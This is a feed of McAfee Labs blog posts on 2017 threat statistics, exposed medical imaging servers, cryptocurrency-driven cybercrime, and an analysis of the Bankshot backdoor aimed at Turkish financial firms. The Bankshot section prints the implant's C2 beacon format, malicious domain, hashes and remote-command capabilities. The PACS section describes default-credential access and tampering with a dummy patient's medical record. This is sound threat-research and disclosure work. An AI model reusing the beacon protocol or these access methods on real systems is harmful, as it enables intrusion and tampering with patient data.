Cybercriminals also continued to adopt fileless malware leveraging Microsoft PowerShell, which surged 432% over the course of 2017, as the threat category became a go-to toolbox. The scripting language was used within Microsoft Office files to execute the first stage of attacks.

Health Care Targeted

Although publicly disclosed security incidents targeting health care decreased by 78% in the fourth quarter of 2017, the sector experienced a dramatic 210% overall increase in incidents in 2017. Through their investigations, McAfee Advanced Threat Research analysts conclude many incidents were caused by organizational failure to comply with security best practices or address known vulnerabilities in medical software.

McAfee Advanced Threat Research analysts looked into possible attack vectors related to health care data, finding exposed sensitive images and vulnerable software. Combining these attack vectors, analysts were able to reconstruct patient body parts, and create three-dimensional models.

Q4 2017 Threats Activity

Fileless malware. In Q4 JavaScript malware growth continued to slow with new samples decreasing by 9%, while new PowerShell malware more than tripled, growing 267%.

Security incidents. McAfee Labs counted 222 publicly disclosed security incidents in Q4, a decrease of 15% from Q3. 30% of all publicly disclosed security incidents in Q4 took place in the Americas, followed by 14% in Europe and 11% in Asia.

Vertical industry targets. Public, health care, education, and finance, respectively, led vertical sector security incidents for 2017.

  • Health Care. Disclosed incidents experienced a surge in 2017, rising 210%, while falling 78% in Q4.
  • Public sector. Disclosed incidents decreased 15% in 2017, down 37% in Q4.
  • Disclosed incidents rose 125% in 2017, remaining stagnant in Q4.
  • Disclosed incidents rose 16% in 2017, falling 29% in Q4. 

Regional targets

  • Disclosed incidents rose 46% in 2017, falling 46% in Q4.
  • Disclosed incidents fell 58% in 2017, rising 28% in Q4.
  • Disclosed incidents fell 20% in 2017, rising 18% in Q4.
  • Disclosed incidents rose 42% in 2017, falling 33% in Q4. 

Attack vectors. In Q4 and 2017 overall, malware led disclosed attack vectors, followed by account hijacking, leaks, distributed denial of service, and code injection.

Ransomware. The fourth quarter saw notable industry and law enforcement successes against criminals responsible for ransomware campaigns. New ransomware samples grew 59% over the last four quarters, while new ransomware samples growth rose 35% in Q4. The total number of ransomware samples increased 16% in the last quarter to 14.8 million samples.

Mobile malware. New mobile malware decreased by 35% from Q3. In 2017 total mobile malware experienced a 55% increase, while new samples declined by 3%.

Malware overall. New malware samples increased in Q4 by 32%. The total number of malware samples grew 10% in the past four quarters.

Mac malware. New Mac OS malware samples increased by 24% in Q4. Total Mac OS malware grew 58% in 2017.*

Macro malware. New macro malware increased by 53% in Q4, declined by 35% in 2017.

Spam campaigns. 97% of spam botnet traffic in Q4 was driven by Necurs—recent purveyor of “lonely girl” spam, pump-and-dump stock spam, and Locky ransomware downloaders—and by Gamut—sender of job offer–themed phishing and money mule recruitment emails.

*This blog post has been edited to correct the percentage increase of Mac OS malware in 2017.

For more information on these threat trends and statistics, please visit:

Twitter @Raj_Samani & @McAfee_Labs.

The post ‘McAfee Labs Threats Report’ Examines Cryptocurrency Hijacking, Ransomware, Fileless Malware appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/mcafee-labs-threats-report-examines-cryptocurrency-hijacking-ransomware-fileless-malware/feed/ 0
McAfee Researchers Find Poor Security Exposes Medical Data to Cybercriminals https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/mcafee-researchers-find-poor-security-exposes-medical-data-to-cybercriminals/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/mcafee-researchers-find-poor-security-exposes-medical-data-to-cybercriminals/#respond Mon, 12 Mar 2018 04:02:25 +0000 https://securingtomorrow.mcafee.com/?p=84971 Those who have successfully gained access to medical data have been well rewarded for their efforts. One seller stated in an interview that “someone wanted to buy all the … records specifically,” claiming that the effort had netted US$100,000.

The post McAfee Researchers Find Poor Security Exposes Medical Data to Cybercriminals appeared first on McAfee Blogs.

]]>
The nonperishable nature of medical data makes an irresistible target for cybercriminals. The art of hacking requires significant time and effort, encouraging experienced cybercriminals to plot their attacks based on the return they will see from their investment. Those who have successfully gained access to medical data have been well rewarded for their efforts. One seller stated in an interview that “someone wanted to buy all the … records specifically,” claiming that the effort had netted US$100,000.

While at a doctor’s appointment with my wife watching a beautiful 4D ultrasound of our unborn child, I noticed the words “saving data to image” flash on the screen. Although this phrase would not catch the attention of most people, given my research on how cybercriminals are targeting the health care industry, I quickly began to wonder why an ultrasound of our child would not instead save to a file. Intrigued, I decided to dig into the world of medical imaging and its possible security risks. The results were disturbing; ultimately, we were able to combine attack vectors to reconstruct body parts from the images and make a three-dimensional model.

PACS

Most hospitals or medical research facilities use PACS, for picture archiving and communication system, so that images such as ultrasounds, mammograms, MRIs, etc. can be accessed from the various systems within their facility, or through the cloud.

A PACS setup contains multiple components, including a workstation, imaging device, acquisition gateway, PACS controller, database, and archiving—as illustrated in the following graphic:

The basic elements of PACS infrastructure.

The imaging device creates a picture, such as an ultrasound or MRI, which is uploaded to an acquisition gateway. Because much of the imaging equipment in use by medical facilities does not align with security best practices, acquisition gateways are placed in the network to enable the digital exchange of the images. The acquisition gateway also often acts as the server connecting to the hospital’s information system (using the HL7 protocol) to enrich images with patient data.

The PACS controller is the central unit coordinating all traffic among the different components. The final component in the PACS infrastructure is the database and archiving system. The system ensures that all images are correctly stored and labeled for either short- or long-term storage.

Larger implementations might have multiple imaging devices and acquisition gateways in various locations, connected over the Internet. During our investigation, we noticed many small medical practices around the world using free, open-source PACS software, which was not always securely implemented.

To determine how many PACS servers are connected depends on on how you search using Shodan, a search engine for finding specific types of computers connected to the Internet. Some servers connect over TCP 104; others use HTTP TCP 80 or HTTPS TCP 443. A quick search revealed more than 1,100 PACS directly connected to the Internet, not behind a recommended layer of network security measures or virtual private networks (VPNs).

PACS systems connected to the Internet. Darker colors represent more systems.

Our eyebrows began to rise very early in our research, as we came across “IE 6 support only” messages or ActiveX controls and old Java support; many of these products are vulnerable to a plethora of exploits. For example, one of the PACS generated an error page when we changed one parameter. This is a very basic common way of testing if the application developers did proper input sanitation check to prevent attackers inserting code or generating failures that could reveal data about the application and can give clues to compromise the system.

A stack-trace error.

The stack-trace dump revealed the use of Apache Tomcat Version 7.0.13, which has more than 40 vulnerabilities.

When communicating with the DICOM (digital imaging and communications in medicine) port, TCP 104, it is possible to grab the banner of a server and get a response. As we queried, we recorded different responses. Let’s look at one:

\x02\x00\x00\x00\x00\xbe\x00\x01\x00\x00ANY-SCP         FINDSCU         \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x151.2.840.10008.3.1.1.1!\x00\x00\x1b\x01\x00\x00\x00@\x00\x00\x131.2.840.10008.1.2.1P\x00\x00>Q\x00\x00\x04\x00\x00@\x00R\x00\x00"1.2.826.0.1.3680043.2.135.1066.101U\x00\x00\x0c1.4.16/WIN32

 

The FINDSCU string refers to the findscu tool, which can be used to query a PACS system. The DICOM standard defines three data models for the query/retrieve service. Each data model has been assigned with one unique ID for the C-FIND, one for the C-MOVE, and one for C-GET; so all together there are nine unique IDs, three for each model. In the preceding banner, we retrieved two of those IDs:

  • 2.840.10008.1.2.1: A transfer unique ID that defines the value “Explicit VR Little Endian” for data transfer
  • 2.826.0.1.3680043.2.135.1066.101: A value referring to the implementation class

Another value in the banner, “1.4.16/WIN32,” refers to the implementation version. In the context of the medical servers, this refers to the version of XAMPP, aka Apache with MariaDB, PHP, and Perl. This server was running Apache 2.4.9, which is publicly known to contain nine vulnerabilities.

In other cases, there was no need to search for vulnerabilities. The management interface was wide open and could be accessed without credentials.

What does this mean? It is possible to access the images.

Vulnerabilities

In addition to expensive commercial PACS systems, open-source or small-fee PACS are available for small health care institutions or practices. As we investigated these systems, we found that our fears were well founded. One web server/client setup used the defaults “admin/password” as credentials without enforcing a change when the server is started for the first time. We found more problems:

  • Unencrypted traffic between client and server
  • Click jacking
  • Cross-site scripting (reflected)
  • Cross-site scripting stored as cross-site request forgery
  • Document object model–based link manipulation
  • Remote creation of admin accounts
  • Disclosure of information

Many of these are ranked on the list of OWASP Top 10 Most Critical Web Application Security Risks list, which highlights severe flaws that should be addressed in any product delivered to a customer.

We have reported the vulnerabilities we discovered to these vendors following our responsible disclosure process. They cooperated with us in investigating the vulnerabilities and taking appropriate actions to fix the issues.

But why should we spend so much time and effort in researching vulnerabilities when there are many other ways to retrieve medical images from the Internet?

Medical Image Formats

The medical world uses several image formats for different purposes. Each format has different requirements and works with different equipment, protocols, etc. A few format examples:

  • NifTi Neuroimaging Informatics Technology Initiative
  • Dicom Digital Imaging and Communications in Medicine
  • MINC Medical Imaging NetCDF
  • NRRD Nearly Raw Raster Data

Searching open directories and FTP servers while using several search engines, we gathered thousands of images—some of them complete MRI scans, mostly in DICOM format. One example:

An open directory of images.

The DICOM format originated in the 1980s, before cybersecurity was a key component. The standard format contains a detailed list of tags such as patient name, station name, hospital, etc. All are included as metadata with the image.

Opening an image with a text editor presents the following screen:

An example of the DICOM file format.

The file begins with the prefix DICM, an indicator that we are dealing with a DICOM file.  Other (now obscured) strings in this example include the hospital’s name, city, patient name, and more.

The Health Insurance Portability and Accountability Act requires a secure medical imaging workflow, which includes the removal or anonymizing of metadata in DICOM files. Researching the retrieved files from open sources and directories, we discovered most of the images still contained this metadata, such as in the following example, from which we extracted (obscured) personally identifiable information (PII).

Metadata discovered in a DICOM file.

Combining Vulnerabilities and Metadata

We combined possible vulnerabilities and the metadata to create a test scenario, installing information from a dummy patient, including an x-ray picture of a knee, to the vulnerable PACS server.

Our test patient record, followed by an x-ray of a knee. 

Using vulnerability information gathered in an earlier phase of research, we launched an attack to gain access to the PACS server. Once we had access, we downloaded the image from our dummy patient and altered the metadata of the image series, changing all references of “knee” to “elbow.”

Altered metadata of the test patient image.

We then saved the picture and uploaded it to the server. Checking the records of our dummy patient, we found our changes were successful.

Changes successfully updated.

Reconstructing Body Parts

In the medical imaging world, a large array of software can investigate and visualize images in different ways, for example, in 3D. We took our collection of images, and using a demo version of 3D software, we reconstructed complete 3D models of vertebrae, pelvis, knees, etc. and, in one case, we reconstructed a partial face.

Because we firmly believe in protecting privacy, the following example—a series of images from a pelvis—comes from a demo file that accompanies the software.

An example of a series of images.

After selecting areas of interest and adjusting the levels, we generated a 3D model of the pelvis:

A 3D model of the pelvis.

The application that generated the 3D model has a feature that allowed us to export the model in several data formats to be used by other 3D drawing programs. After the export, we imported the data into a 3D drawing program and converted the file to STL, a popular format for 3D objects and printers.

In short, we began with files from open directories, transformed them into a 3D model, and printed a tangible model using a 3D printer:

Our 3D model of a pelvis.

Conclusion

When we began our investigation into the security status of medical imaging systems, we never expected we would conclude by reconstructing body parts. The amount of old software used in implementations of PACS servers and the amount of vulnerabilities discovered within the software itself are concerning. We investigated relatively few open-source vendors, but it begs the question: What more could we have found if we had access to professional hardware and software?

Default accounts, cross-site scripting, or vulnerabilities in the web server could lead to access to the systems. Our research demonstrates that once inside the systems, the data and pictures can be permanently altered.

In May 2017, one report claimed that through artificial intelligence pictures could be studied to determine how long a person will live. What if criminals could obtain that information and use it for extortion?

We understand the need for quickly sharing medical data for diagnosis and treatment and for storing medical images. We advise health care organizations to be careful when sharing images on open directories for research purposes and to at least scrape the PII data from the images.

For organizations using a PACS, ask your vendor about its security features. Employ a proper network design in which the sharing systems are properly secured. Think not only about internal security but also about the use of VPNs and two-factor authentication when connecting with external systems.

 

For more on the health care industry follow @McAfee_Labs and catch up on all threats statistics from Q417 in the March Threats Report.

The post McAfee Researchers Find Poor Security Exposes Medical Data to Cybercriminals appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/mcafee-researchers-find-poor-security-exposes-medical-data-to-cybercriminals/feed/ 0
McAfee Researchers Analyze Dark Side of Cryptocurrency Craze: Its Effect on Cybercrime https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/mcafee-researchers-analyze-dark-side-of-cryptocurrency-craze-its-effect-on-cybercrime/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/mcafee-researchers-analyze-dark-side-of-cryptocurrency-craze-its-effect-on-cybercrime/#respond Mon, 12 Mar 2018 04:01:54 +0000 https://securingtomorrow.mcafee.com/?p=84968 In December 2017 Bitcoin values skyrocketed, peaking at the unprecedented amount of roughly US$19,000 per coin. Unsurprisingly, the market for cryptocurrencies exploded in response. Investors, companies, and even the public found a fresh interest in digital currencies. However, the exciting change in Bitcoin value did not just influence your average wealth seeker. It also influenced […]

The post McAfee Researchers Analyze Dark Side of Cryptocurrency Craze: Its Effect on Cybercrime appeared first on McAfee Blogs.

]]>
In December 2017 Bitcoin values skyrocketed, peaking at the unprecedented amount of roughly US$19,000 per coin. Unsurprisingly, the market for cryptocurrencies exploded in response. Investors, companies, and even the public found a fresh interest in digital currencies. However, the exciting change in Bitcoin value did not just influence your average wealth seeker. It also influenced vast underground cybercriminal markets, malware developers, and cybercriminal behavior.

Blessing and Curse

The surge of Bitcoin popularity and price per coin piqued the interest of cybercriminals, driving cryptocurrency hijacking in the last quarter of 2017. However, the same popularity and price jump also created a headache for bad actors. Ransomware techniques and the buying and selling of goods became problematic. The volatility of the Bitcoin market makes ransom costs hard to predict at the time of infection and costs can surge upwards of $28 per transaction, complicating a criminal campaign. The volatility made mining, the act of using system resources to “mint” cryptocurrency, exceedingly difficult and raised transaction prices. This was especially true for Bitcoin, due its high hash rate of the network. (The higher the hash rate, the more people they compete against.)

Cybercriminals will always seek to combine the highest returns in the shortest time with the least risk. With the Bitcoin surge, malware developers and underground markets found themselves in need of more stability, prompting a switch to other currencies and a resurgence of old techniques.

It is far easier to mine small currencies because the hash rate is generally more manageable and hardware requirements can be more accessible depending on the network design. Monero, for example, is ASIC resistant, meaning that while mining specialized hardware does not have an overwhelming advantage to nonspecialized hardware. This allows the average computer to be more effective at the task. Due to this advantage, Monero is actively mined in mass by criminals using web-based miners on the machines of unsuspecting visitors. This intrusion is known as cryptojacking, which works by hijacking the browser session to use system resources. A quick look at recent examples of cryptojacking throws light on this issue. Starting mid-2017, there have been a slew of instances in which major websites have found themselves compromised and unwittingly hosting the code, turning their users into mining bots. The public Wi-Fi at a Starbucks outlet was found to hijack browsers to mine Monero. Even streaming services such as YouTube have been affected through infected ads. Ironically, Monero is said to be one of the most private cryptocurrencies. Attacks such as these have also happened on Bitcoin, NEM, and Ethereum.

Criminals are also leveraging techniques beyond mining, such as cryptocurrency address or wallet hijacking. For example, Evrial, a Trojan for sale on underground markets, watches the Windows clipboard and replaces any cryptocurrency wallet addresses with its own malicious address. Essentially, this hijacks a user’s intended payment address to redirect funds. Unwitting users could accidentally pay a bad actor, losing their coins with essentially no chance of recovery.

A Brief Timeline

Cybercriminals have always faced the difficulty of securing their profits from government eyes. For the cybercriminal, banks present risk. If a transfer is deemed illegal or fraudulent, the bank transfer can easily be traced and seized by the bank or law enforcement. Trading in traditional currencies requires dealing with highly regulated entities that have a strong motivation to follow the rules. Any suspicious activity on their systems could easily result in the seizure of funds. Cybercriminals have long tried to solve this problem using various digital currencies, the prelude to cryptocurrencies. When cryptocurrencies were introduced to the world, cybercriminals were quick to adapt. However, with this adoption came Trojans, botnets, and other hacker activities designed specifically for the new technology.

The evolution of digital currencies. Despite various attacks from bad actors, digital money continues to evolve.

1996: E-gold appeared, and quickly became popular with cybercriminals due to its lack of verification on accounts. This was certainly welcome among “carder groups” such as ShadowCrew, which trafficked in stolen credit cards and other financial accounts. However, with three million accounts, e-gold’s popularity among criminals also caused its demise: It was taken down just 10 years later by the FBI, even after attempts in 2005 to rein in criminal activity. Accounts were seized and the founder indicted, collapsing all e-gold operations.

2005: Needing another avenue after the collapse of e-gold, cybercriminals migrated to WebMoney, established in 1998. Unlike e-gold, WebMoney successfully discouraged the bulk of cybercriminals by modifying business practices to prevent illegal activities. This kept the organization alive but pushed many cybercriminals to find a new payment system.

2006: Liberty Reserve took on much of the burgeoning cybercriminal demand. The institution got off to a rocky start with cybercriminals due to the almost immediate arrest of its founders. The company’s assets were seized in 2013—causing an estimated $6 billion in lost criminal funds.

2009: Cybercriminals were increasingly desperate for a reliable and safe payment system. Enter Bitcoin, a decentralized, pseudo-anonymous payment system built on blockchain technology. With WebMoney usage growing increasingly difficult for cybercriminals and Liberty Reserve under scrutiny from world governments, cybercriminals required something new. Within the Bitcoin network, no central authority had the power to make decisions or otherwise seize funds. These protections against centralized seizures, as well as many of its anonymity features, were a major influence in the migration of cybercriminals to Bitcoin.

Game Changers

By 2013 cybercriminals had a vested interest in cryptocurrencies, primarily Bitcoin. Cryptocurrency-related malware was in full swing, as evidenced by increasingly sophisticated botnet miner kits such as BitBot. Large enterprises such as Silk Road, primarily a drug market, thrived on the backbone of cryptocurrency popularity. Then three major events dramatically changed the way cybercriminals operated.

Silk Road closed: The popular black market and first major modern cryptocurrency “dark net” market was shut down by the FBI. The market was tailored to drug sales, and the FBI takedown left its buyers and sellers without a place to sell their goods. The migration of buyers and sellers to less restrictive markets enabled cross-sales to a much larger audience than was previously available to cybercriminals. Buyers of drugs could now also buy stolen data—including Netflix accounts or credit cards—from new markets such as AlphaBay as demand increased.

Major retailers breached: Millions of credit card records were stolen and available, raising the demand for underground markets to buy and sell the data. Dark net markets already offering malware and other goods and services took up the load. Agora, Black Market Reloaded and, shortly thereafter, AlphaBay responded to that demand. Although many of these markets were scams, a few such as AlphaBay, which survived until its July 2017 takedown, were hugely successful. Through these markets, cybercriminals had access to a much larger audience and could benefit from centralized structures and advertising. The demand for other types of stolen data rose even more, particularly streaming media accounts and personally identifiable information, which carries a high financial return for cybercriminals.

In the past, many of the credit card records were sold on forums and other specialized carding sites, such as Rescator. The new supply of credit card data was so massive, however, that it enabled secondhand sales and migration into broader markets. Dark net markets were simply more scalable than forums, thus enabling their further growth. New players joining the game now had easy access to goods, stolen data, and customers. This shift reshaped and enabled retail targeting as it exists today.

Cryptocurrency-based ransomware introduced: Outside of dark net markets, malware developers sought to acquire cryptocurrencies. Prior to 2013 the primary method to maliciously acquire coin was through mining. Less effective methods included scams, such as TOR-clone sites, fake markets, or Trojans designed to steal private keys to wallets. By late 2013 malware developers and botnet owners sold their malware at a premium by including mining software alongside the usual items such as credit cards and password scrapers. However, at a cost of around $250 per coin, Bitcoin miners did not immediately see higher profits than they could manage with focused scraper malware. Criminals needed more reliable ways of acquiring coins.

Ransomware, a potentially lucrative form of malware, was already on the rise using other digital currencies. In late 2013, the major ransomware family CryptoLocker included a new option for ransomware victims—to pay via Bitcoin. The tactic effectively created a frenzy of copycat malware. Now malware developers could outpace the profits of scraper malware as well as secure currency for the underground market. Ransomware quickly enjoyed several immensely successful campaigns, many of which, including Locky and Samsa, are still popular. Open-source tools such as Hidden Tear allowed low-skilled players to enter the market and acquire cryptocurrencies through ransomware with only limited coding knowledge. The thriving model ransomware as a service emerged with TOX, sold via a TOR hidden service in 2015.

The use of cryptocurrencies by malicious actors has grown substantially since their inception in 2009. Cryptocurrencies meet a need and have been exploited in ever-evolving ways since their introduction. The influence of cryptocurrencies on underground markets, malware development, and attackers behavior cannot be understated. As markets change and adopt cryptocurrencies, we will surely see further responses from cybercriminals.

 

Resources

https://securingtomorrow.mcafee.com/business/exploring-correlation-bitcoins-boom-evrials-capabilities/
https://securingtomorrow.mcafee.com/mcafee-labs/darknet-markets-will-outlive-alphabay-hansa-takedowns/
https://blogs.mcafee.com/mcafee-labs/weve-hacked-okay-ill-deal-next-week/
http://www.mcafee.com/us/resources/reports/rp-quarterly-threat-q1-2014.pdf
https://securingtomorrow.mcafee.com/mcafee-labs/meet-tox-ransomware-for-the-rest-of-us/
https://www.forbes.com/sites/forbestechcouncil/2017/08/03/how-cryptocurrencies-are-fueling-ransomware-attacks-and-other-cybercrimes/2/#25d727c56144
https://threatpost.com/new-ransomware-scam-accepts-bitcoin-payment/102632/
https://www.mcafee.com/threat-center/threat-landscape-dashboard/
“Dynamic Changes in Underground Markets,” by Charles McFarland. Cyber Security Practitioner, Vol. 2, Issue 11. November 2016.
https://en.wikipedia.org/wiki/Silk_Road_(marketplace)
http://www.mcafee.com/us/resources/white-papers/wp-digital-laundry.pdf
https://en.wikipedia.org/wiki/Liberty_Reserve
https://securingtomorrow.mcafee.com/mcafee-labs/delving-deeply-into-a-bitcoin-botnet
https://arstechnica.com/tech-policy/2017/12/bitcoin-fees-rising-high/
https://www.bleepingcomputer.com/news/security/venuslocker-ransomware-gang-switches-to-monero-mining/
https://securingtomorrow.mcafee.com/mcafee-labs/malware-mines-steals-cryptocurrencies-from-victims/
https://www.theverge.com/2017/9/26/16367620/showtime-cpu-cryptocurrency-monero-coinhive
https://gizmodo.com/hackers-hijacking-cpus-to-mine-cryptocurrency-have-now-1822466650
https://techcrunch.com/2018/02/12/browsealoud-coinhive-monero-mining-hack/
https://www.fbi.gov/news/stories/alphabay-takedown
https://securingtomorrow.mcafee.com/mcafee-labs/free-ransomware-available-dark-web/
http://www.bbc.com/news/technology-42338754

The post McAfee Researchers Analyze Dark Side of Cryptocurrency Craze: Its Effect on Cybercrime appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/mcafee-researchers-analyze-dark-side-of-cryptocurrency-craze-its-effect-on-cybercrime/feed/ 0
Hidden Cobra Targets Turkish Financial Sector With New Bankshot Implant https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/hidden-cobra-targets-turkish-financial-sector-new-bankshot-implant/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/hidden-cobra-targets-turkish-financial-sector-new-bankshot-implant/#respond Thu, 08 Mar 2018 14:00:32 +0000 https://securingtomorrow.mcafee.com/?p=85095 This post was prepared with contributions from Asheer Malhotra, Charles Crawford, and Jessica Saavedra-Morales.  On February 28, the McAfee Advanced Threat Research team discovered that the cybercrime group Hidden Cobra continues to target cryptocurrency and financial organizations. In this analysis, we observed the return of Hidden Cobra’s Bankshot malware implant surfacing in the Turkish financial […]

The post Hidden Cobra Targets Turkish Financial Sector With New Bankshot Implant appeared first on McAfee Blogs.

]]>
This post was prepared with contributions from Asheer Malhotra, Charles Crawford, and Jessica Saavedra-Morales. 

On February 28, the McAfee Advanced Threat Research team discovered that the cybercrime group Hidden Cobra continues to target cryptocurrency and financial organizations. In this analysis, we observed the return of Hidden Cobra’s Bankshot malware implant surfacing in the Turkish financial system. Based on the code similarity, the victim’s business sector, and the presence of control server strings, this attack resembles previous attacks by Hidden Cobra conducted against the global financial network SWIFT.

In this new, aggressive campaign we see a return of the Bankshot implant, which last appeared in 2017. Bankshot is designed to persist on a victim’s network for further exploitation; thus the Advanced Threat Research team believes this operation is intended to gain access to specific financial organizations.

Based on our analysis, financial organizations in Turkey were targeted via spear phishing emails containing a malicious Microsoft Word document. The document contains an embedded Adobe Flash exploit, which was recently announced by the Korean Internet Security agency. The exploit, which takes advantage of CVE-2018-4878, allows an attacker to execute arbitrary code such as an implant.

the Further investigation into this campaign and analysis of McAfee product telemetry shows that the infection occurred on March 2 and 3. The implant’s first target was a major government-controlled financial organization. It next appeared in another Turkish government organization involved in finance and trade. A further three large financial institutions in Turkey were victims of this attack. The implant has so far not surfaced in any other sector or country. This campaign suggests the attackers may plan a future heist against these targets by using Bankshot to gather information.

Bankshot implants are distributed from a domain with a name similar to that of the cryptocurrency-lending platform Falcon Coin, but the similarly named domain is not associated with the legitimate entity. The malicious domain falcancoin.io was created December 27, 2017, and was updated on February 19, only a few days before the implants began to appear. These implants are variations of earlier forms of Bankshot, a remote access tool that gives an attacker full capability on a victim’s system. This implant also contains functionality to wipe files and content from the targeted system to erase evidence or perform other destructive actions. Bankshot was first reported by the Department of Homeland Security on December 13, 2017, and has only recently resurfaced in newly compiled variants. The sample we analyzed is 99% similar to the documented Bankshot variants from 2017.

Bankshot implants hosted on falcancoin.io.

The Bankshot implant is attached to a malicious Word document with the filename Agreement.docx. The document appears to be an agreement template for Bitcoin distribution between an unknown individual in Paris and a to-be-determined cryptocurrency exchange. The author of this document is test-pc. It was created February 26 and was submitted from the Netherlands. The document contains an embedded Flash script that exploits CVE-2018-4878 and downloads and executes the DLL implant from falcancoin.io.

We discovered two more documents, written in Korean, that exploit the same vulnerability as Agreement.docx. These documents appear to be part of the same campaign and may have been used on different targets. These documents also communicated with falcancoin.io to install Bankshot and also contain themes around cryptocurrency security.

Two Flash files exploit CVE-2018-4878.

  • 843c17b06a3aee22447f021307909890b68828b9 (February 25)
  • 343ebca579bb888eb8ccb811f9b52280c72e484c (February 25
Malicious documents in the attack.

 

Malicious document exploiting CVE-2018-4878.

The implants are downloaded via a Flash file embedded in the malicious document. They are executed when the victim views the document.

The malicious site falcancoin.io embedded in the Flash file.
Implant directory contained in the malicious Flash file.

The implants (DLLs) are disguised as ZIP files and communicate with three control servers, two of them Chinese-language online gambling sites. These URLs can be found hardcoded in the implants’ code.

Hardcoded control server URLs.

 

Analyzing Bankshot

The sample (a2e966edee45b30bb6bb5c978e55833eec169098) is a Windows DLL that serves as a backdoor and contains a variety of capabilities. The malicious DLL is not a service DLL because it lacks ServiceMain(). To mask itself, it can run as a regular library loaded into a legitimate process.

The malware begins by creating a new thread from the DllMain() function to carry out its malicious activities:

New thread created in the malware’s DllMain() function.

The malware performs the following activities:

  • Builds imports by dynamically loading APIs
  • Decrypts strings needed for control server communications
  • Performs control server communications
  • Handles commands issued by the control server
  • Uninstalls self from the system

The malicious thread dynamically loads the APIs it needs at the beginning of its execution using LoadLibrary() and GetProcAddress(). APIs from the following libraries are loaded at runtime:

  • Kernel32.dll
  • Ws2_32/wsock32.dll
  • Apvapi32.dll
  • Oleaut32.dll
  • Iphlp.dll
  • Urlmon.dll
A dynamic API loaded by the malware.

 

Based on packet capture analysis of previous implants from 2017, the following strings are used in control server communications:

  • Connection: keep-alive
  • Cache-Control: max-age=0
  • Accept: */*
  • Content-Type: multipart/form-data; boundary=
  • Content-Type: application/octet-stream
  • Accept-Encoding: gzip,deflate,sdch
  • Accept-Language: ko-KR -> Korean
  • Content-Disposition: form-data;name=”board_id”
  • Content-Disposition: form-data;name=”user_id”
  • Content-Disposition: form-data;name=”file1″; filename=”img01_29.jpg”
  • Content-Disposition: form-data;name=”file1″; filename=”my.doc”
  • Content-Disposition: form-data;name=”file1″; filename=”pratice.pdf”
  • Content-Disposition: form-data;name=”file1″; filename=”king.jpg”
  • Content-Disposition: form-data;name=”file1″; filename=”dream.avi”
  • Content-Disposition: form-data;name=”file1″; filename=”hp01.avi”
  • Content-Disposition: form-data;name=”file1″; filename=”star.avi”

User Agents

The implant either fetches the user agent from Internet Explorer (using ObtainUserAgentAsString()) or uses a default user agent specified in the malware binary:

Mozilla/5.0 (Windows NT 6.1; WOW64) Chrome/28.0.1500.95 Safari/537.36

Control Server Communications

The malware initiates communication with the control server by sending it an HTTP POST request with additional optional HTTP data, such as:

------FormBoundary<randomly_generated_characters>
Content-Disposition: form-data; name="board_id"

8306
------FormBoundary<randomly_generated_characters>
Content-Disposition: form-data; name="user_id"

*dJU!*JE&!M@UNQ@
------FormBoundary<randomly_generated_characters>
Content-Disposition: form-data; name="file1"; filename="king.jpg"
Content-Type: application/octet-stream
  • board_id is a four-digit number that may be an identifier for a campaign ID. Based on analysis of previous samples, this is a unique identifier.
  • user_id is a hardcoded value in the malware binary that is sent to the control server. The username appears to be attacker specified and has occurred in 2017 Bankshot samples. This links the previous samples with this unique username.
  • filename is based on static analysis. This looks like a specific beacon to indicate that the malware is ready to receive commands.

The optional HTTP data with king.jpg looks like a beacon to inform the control server that the malware is ready to accept new commands:

  • Commands received from the control server are encoded DWORDs
  • After decoding, these DWORDs should be in the range 123459h to 123490h
Malware checking to make sure a received command is in the correct range.

 

The command index calculator and jump to the appropriate command.

 

The command index table and command handler address table. 

Implant Capabilities

Based on the responses received from the control server, the malware can carry out the following malicious tasks:

  • Recursively generate a list of files in a directory and send to the control server
  • Terminate a specific process. The process is identified by the control server sending the PID to the malware.
The capability to terminate a process.
  • Gather network addresses and operating system version
  • Execute arbitrary commands using “cmd.exe /c”
The capability to execute system commands.

 

Spawning arbitrary processes.
  • Create processes
  • Write responses from the control server to a file
  • Send information for all drives
  • Write data sent by the control server to a temporary file matching the file path pattern %temp%\DWS00*
  • Change the time of a file as specified by the control server
The malware changing the file time.
  • Create a process by impersonating a logged-on user

 

Getting a user token using WTSQueryUserToken.

 

A process created as logged-in user.
  • Gather the process time for all processes
Getting time information for all processes running on the system.
  • Gather domain and account names based on all running processes
Gathering account information from running processes.
  • Read a specified file’s contents and send the data to the control server
  • Write data sent by the control server to an existing file
  • Mark a file to be deleted on reboot
Marking a file for deletion on reboot.
  • Overwrite a file with all zeros and mark it for deletion on reboot
Wiping files with zeros and marking it for deletion on reboot. 
  • Delete files using the DeleteFile() API
  • Load an arbitrary library into its process space. This may be used to load additional downloaded components of the attack.
Loading an arbitrary library into its own process space. 

After every action is performed the malware sends a response to the control server indicating whether the action was successful.

Connections

The US government reports that Bankshot is used by Hidden Cobra to target multiple industries including financial organizations. This implant has been connected to a major Korean bank attack and is also known as Trojan Manuscript. That variant contained the capability to search for hosts related to the SWIFT network and the same control server strings as the variant we found targeting the Turkish financial sector. The implant does not conduct financial transactions; rather it is a channel into the victim’s environment, in which further stages of implants can be deployed for financial reconnaissance. The Bankshot implant was also observed in 2017 in documents appearing to come from Latin American banks.

Malicious document delivering the Bankshot implant in 2017.

These connections, combined with the implant’s nearly identical appearance to known variants, are a strong indication that we have uncovered a Hidden Cobra attack. Further, previous implants from 2017 contained bogus documents with financially themed content.

A code comparison of hash 12c786c490366727cf7279fc141921d8 with hash 6de6a0df263ecd2d71a92597b2362f2c (from November 28, 2017). 

Conclusion

We have found what may be an early data-gathering stage for future possible heists from financial organizations in Turkey (and possibly other countries). In this campaign, we see the adoption of a recent zero-day Adobe Flash vulnerability to get the implant onto the victim’s systems.

